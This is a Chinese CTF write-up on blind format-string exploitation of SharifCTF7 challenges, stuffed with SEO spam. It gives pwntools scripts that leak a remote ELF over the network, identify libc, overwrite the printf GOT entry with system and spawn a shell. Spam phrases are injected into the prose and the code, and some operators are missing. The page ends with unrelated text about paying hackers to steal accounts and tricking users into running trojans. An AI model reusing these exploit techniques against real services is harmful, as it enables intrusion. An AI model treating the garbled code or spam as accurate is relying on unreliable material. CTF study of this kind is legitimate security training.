请 *** 黑客帮助盗一个 *** 完全免费-【技术性共享】格式化字符串漏洞利用总结(二)
1、无binary的格式化字符串漏洞利用
无binary的格式化字符串系统漏洞赛题一般都只给一个远程控制详细地址,依据本文(http://bobao.360.cn/ctf/中小学生新手入门黑客教程detail/189.html )得知,这类题型叫“blind pwn”(那这儿便是“blind formatstring”了),有点儿sql注入里边盲注的含意,太好玩了的。
这儿采用sharifCTF7来举例说明,由于这一CTF的服务器端迄今还对外开放着,而且出示了三道从易到难的无binary格式化字符串漏洞利用题型,有兴趣爱好的能够试着一下。这三道中小学生新手入门黑客教程题型也将格式化字符串漏洞利用的二种关键 *** 最能体现出去,即“获取数据以泄露信息内容”和“载入数据信息以获得决策权”。
2、sharifCTF7-Guess(pwn 50)
nc ctf.sharif.edu 54517
这题是将flag立即置放在栈中,客户能够键入format字符串并回到相对信息内容。根据结构相近“%x*n”那样的键入就可以得到 栈中的n字节数信息内容,进而将掩藏在栈中的flag立即取得。
根据键入%1$p得知总体目标系统软件是64位,随后应用%k$lx并一直提升k值。当k=136中小学生新手入门黑客教程时,輸出5443666972616853,hex转换格式后即是“TCfirahS”,表明立刻就到flag了,再次提升k,結果以下。
136 5443666972616853 TCfirahS
137 3832346435617b46 824d5a{F
138 6237636363323中小学生新手入门黑客教程336 b7ccc236
139 6136633735336466 a7c753df
140 3561383761383231 5a87a821
141 00007ff6007d6338 }c8
Flag:SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}
中小学生新手入门黑客教程
3、sharifCTF7-NoMoreBlind(pwn 200)
nc ctf.sharif.edu 54514
这题能够无尽次键入字符串,每一次均可获得意见反馈。根据键入“%3$p%4$p”开展中小学生新手入门黑客教程检测,我们可以明确总体目标系统软件是32bit的,且偏位为4。题中的flag没有栈上,必须根据getshell来找寻,关键构思以下:
根据格式化字符串系统漏洞,运用%s将总体目标ELF文档dump出去;
剖析并恢复回到的ELF文档;
根据反向ELF文档,掌握程序流程的基础步骤及其常用libc涵数的GOT以得到 system涵数的具体详细地址;
将system涵数详细地址载入printf涵数的GOT表中小学生新手入门黑客教程项处;
根据键入“/bin/sh”,运用已被改成system详细地址的printf来得到 shell。
3.1 中小学生新手入门黑客教程 中小学生新手入门黑客教程中小学生新手入门黑客教程 中小学生新手入门黑客教程 中小学生新手入门黑客教程 中小学生新手入门黑客教程 运用格式化字符串系统漏洞dump出ELF
先得出编码吧,此编码改动自别人的,特此说明。
from pwn import *
def leakELF(addr):
p = None
for i in range(5): #多循环系统几回,置放联接终断
try:
中小学生新手入门黑客教程p = remote("ctf.sharif.edu", 54518, timeout=1)
payload = "ABCD%7$sDCBA" p32(addr)
if ("\\x0a" in payload) or ("\\x00" in payload):
log.warning("newline in payload!")
return "\\xff"
p.sendline(payload)
print p.recvline()
data2 = p.recvline()
log.info(hexdump(data2))
if data2:
fr = data2.find("ABCD") 4
&中小学生新手入门黑客教程 nbsp; to = data2.find("DCBA")
res = data2[fr:to] #精准定位出泄露的数据信息部位
if res == "": #表明要泄露的数据信息便是\\x00
return "\\x00"
中小学生新手入门黑客教程 else:
return res
return "\\xff" 中小学生新手入门黑客教程 #假如发现异常,先回到\\xff
except KeyboardInterrupt:
raise
except EOFError:
log.debug("got EOF for leaking addr 0x{:x}".format(addr))
pass
except Exception:
中小学生新手入门黑客教程log.warning("got exception...", exc_info = sys.exc_info())
finally:
if p:
p.close()
return "\\xff"
f = open("nomoreblind-binary",中小学生新手入门黑客教程 "wb")
base = 0x08048000
leaked = ""
while len(leaked) < 8000: #假定总体目标ELF低于9kb
address = base len(leaked) #新的泄漏详细地址相当于基详细地址再加上已泄露的长短
&nbs p; tmp = leakELF(address)
leaked += tmp
log.info(hexdump(leaked))
with open("nomoreblind-binary", "wb") as f: #将已泄漏的数据写入文件
f.write(leaked)
由于是32bit程序,一般起始于0x08048000,故我们将此处设置为泄漏的起始地址。泄漏的方式就是利用格式化字符参数%s,payload是"ABCD%7$sDCBA"+p32(addr),ABCD和DCBA是为了定位返回的数据位置,而我们要泄漏信息的地址(即p3小学生入门黑客教程2(addr))位于偏移位置7。我们这里假设目标elf大小是8kb,其实没有那么大,视情终止即可。在上面的代码中,我们通过自定义的leakELF函数,每次泄漏一段数据,并记录数据长度,以便下次从该长度之后继续泄漏。代码中还需要解释的几点是:
leakELF中的for循环是为了防止连接服务器出错,毕竟要泄漏的数据量较大;
如果payload中出现0x0a,则会造成截断(接收函数是fgets),直接返小学生入门黑客教程回none;
如果返回的ABCD与DCBA之间没数据,则设置返回数据为\x00;
如果直接出现异常或无返回,则设置返回数据为\xff。
整个泄漏的时间会比较长,慢慢等吧,大概到4kb左右的时候,其实就已经完成了,因为出现了新的ELF头(\x7f454c46)。这个其实没有特别的标志,只能说毕竟是比赛,binary不会太大,感觉差不多,拿出来分析一下就知道了。
3.2 修复ELF文件
由于我们在dump脚本中填补了一些\xff,故需要大概修补一下,比如文件的之一个字节,就要从\xff改为\x7f。通过010Editor的ELF文件模板,我们可以比较方便地修补ELF文件。涉及到ELF文件格式的问题,这里就不多说了,大家可以参考其他文章,小学生入门黑客教程主要把文件头修改好就差不多了。当然,修改了之后也是不能运行的,毕竟从内存中dump出来的ELF与可执行文件在区段大小等方面还是不一样的。
3.3 逆向ELF文件
上面的ELF文件已经可以借助IDA进行逆向了小学生入门黑客教程,F5后得到的伪代码如下。
上面就是main函数,虽然并没有把所有库函数名称都关联出来,但主程序毕竟很短,很容易猜出逻辑关系。程序首先利用setvbuf函数设置了输入输出,然后设置alarm函数参数为60秒;进入while无限循环后,用fgets来接收输入,并用printf进行输出。
结合汇编代码以及ELF中的函数名字符串(fflush、exit、printf、fgets、strlen、alarm、setvbuf),我们就能将它们对应起来,比如:
setvbuf:plt是0x08048490,got是0x08049980(在IDA中跳到sub_08048490即知);
alarm:plt是0x08048440,got是0x0804996c;
printf:plt是0x08048400,got是0x0804995c。
3.4 小学生入门黑客教程 获取libc函数地址
本题既没有提供程序的binary,更没有提供对应的libc文件。在这种情况下,我知道的 *** 有两种:
采用DynELF暴力搜索
利用libcdatabase或libdb查询
我参考的writeup作者就是用的之一种 *** ,但我始终没成功,即使和作者沟通后得到了他的脚本也不行,感觉是 *** 连接不稳定;而第二种 *** 更是没有达到目的,应该是由于内置的libc库文件不全导致的。
考虑到之一种 *** 中,pwntools其实也是通过获取目标libc中的特征字符串来比对自身服务器中的libc文件以确定版本,那是不小学生入门黑客教程是可以干脆将pwntools所依赖的所有libc库文件都下载下来,然后再借鉴第二种 *** ,将这些库文件导入到libcdatabase中,利用该工具已有的功能,通过GOT表泄漏的libc库函数地址的后12bit来缩小并确定版本范围呢?
按照这个思路,我首先写了个脚本,根据pwntools中的md5文档(https://gitlab.com/libcdb/libcdb/tree/master/hashes)将对应的libc文件都下载了下来。截至目前所有pwntools中的libc文件url我也保存在了附件中,共6000多个。当然,pwntools中的libc库也是动态更新的,未来还会添加新的libc文件,大家可以继续搜索并扩充至自己本地。
然后,我使用libcdatabase内置的add功能脚本,将上述所有libc文件都导入了进去。由于该功能会解析每个libc文件,故时间比较长,但一劳永逸,以后就可以直接用find功能脚本小学生入门黑客教程 来快速查找比对了。当然,如果有哪些libc文件没有导入进去,我们也可以直接用pwntools的ELF模块来解析并比对后12bit。
通过以上工作,结合泄漏出来的printf函数实际地址的后12bit(即0xc70),我们可以匹配到很多libc文件,如下图所示,如libc6-i386-2.19-18+deb8u3-lib32-libc-2.19.so;再用alarm等其他库函数的后12bit进一步校正,即可获知最小学生入门黑客教程终版本,从而获取到相应偏移,具体见下面的代码。
3.5 小学生入门黑客教程小学生入门黑客教程获取shell
得到了libc版本,我们就可以确定各个库函数的偏移,从而可以得到system函数地址,并借助格式化字符串漏洞用其替换掉目标程序GOT表小学生入门黑客教程 中的printf地址。当目标程序进入下一次循环后,我们用“/bin/sh”作为输入,由于此时printf的GOT地址处其实保存的是system函数地址,则调用printf(“/bin/sh”)时,其实就是调用的system(“/bin/sh”),shell也就获取到了。
通过《格式化字符串漏洞利用小结(一)》,我们比较深入的理解了格式化字符小学生入门黑客教程 串漏洞的原理与手工构造payload的 *** 。这时,也可以通过pwntools的fmtstr_payload功能来简化格式化字符串漏洞利用,不用再自己一点一点小心地构造payload,而交给pwntools来自动完成。
具体使用的就是如下函数。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
之一个参数表示格式化字符串的偏移,这里已经知道是4;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload,具体结果你可以print出来看看,和你自己手工构造的一不一样。
以下就是具体的利用代码。
from pwn import *
import binascii
p = remote("ctf.sharif.edu", 54518, timeout=1)
printfGOT = 0x0804995c
printfOffset = 0x4cc70
systemOffset = 0x3e3e0
p.sendline("%5$s" + p32(printfGOT))
print p.recvline()
data = p.recv()
printfAddress = data[0:4][::-1]
printfAddress = int(binascii.hexlify(printfAddress),16)
systemAddress = printfAddress - printfOffset + systemOffset
print "printf:", hex(printfAddress)
print "system:", hex(systemAddress)
payload = fmtstr_payload(4, {printfGOT: systemAddress})
p.sendline(payload)
print p.recvline()
print p.recv()
p.sendline("/小学生入门黑客教程 bin/sh")
print p.recvline()
p.interactive()
4、参考文章
http://bobao.360.cn/ctf/detail/189.html
https://losfuzzys.小学生入门黑客教程github.io/writeup/2016/12/18/sharifctf7-guess-persian-nomoreblind/
https://github.com/irGeeks/ctf/tree/master/2016-SharifCTF7
5、附件
https://pan.baidu.com/s/1kV5aqsn
比黑客高级的就是红客比黑客低级的就是骇客红客——有着卓越的技术,良好的素质,高尚的品德,爱国的情怀,他们喜欢入侵,但是不仅仅为了入侵而入侵,电脑应用,先学怎么用精通之后才能进阶至少精通C/C++、汇编,所有的脚本语言,所有的数据库。社会工程学也要学好!建议你看看这张图精通各种编程语言和系统,泛指擅长IT技术的人群、计算机科学家。“黑客”一词是由英小学生入门黑客教程语Hackte音译出来的。他们伴随着计算机和 *** 的发展而产生成长。请黑客帮忙盗一个 *** 免费
中国之一黑客是谁举报他们。实话告诉你吧,许多厉害的黑客,连警察无法管理,若想与他们对抗,只有把自己也训练成一个黑客,否则你永远不可能打败他们。
请黑客帮忙盗一个 *** 免费。在百度搜索mcbbs然后在里面搜应该有。
有的,现在在老家没带电脑,你要是急的话可以看下面图自行下载,里面的资源非常丰富,我找资源小学生入门黑客教程都是在里面找的黑客的这种行为是违法的,若用户察觉可以去报警。 宪法第四十条规定 小学生入门黑客教程 小学生入门黑客教程 :中华人民共和国公民的通信自由和通信秘密受法律保护。除因国家安全或者追查刑事犯罪的。
我的理想作文600字理想,是我们每个人心中的一盏明灯。它能够为我们导航,让我们走上正确的道路。理想需要我们来树立,世界万物都有自己的理想。花儿的理想。请黑客帮忙盗一个 *** 免费
它其实并不是一种技术,而是一家奥地利公司的名称,它的全称是:Denuvo软件解决方案股份有限公司。而这家公司了发开发了一个名叫DenuvoAnti-Tamper(De。
请黑客帮忙盗一个 *** 免费加你qq,然后想办法给你传木马让你运行,或者给你发一个网址,想办法让你访问,当然,那个网站是被挂马的,访问你就中招了,望采纳很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣,针对这些以下业内相关专家就给大家介绍下,当下黑客怎么利用Metasploit进行渗透windows7的。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。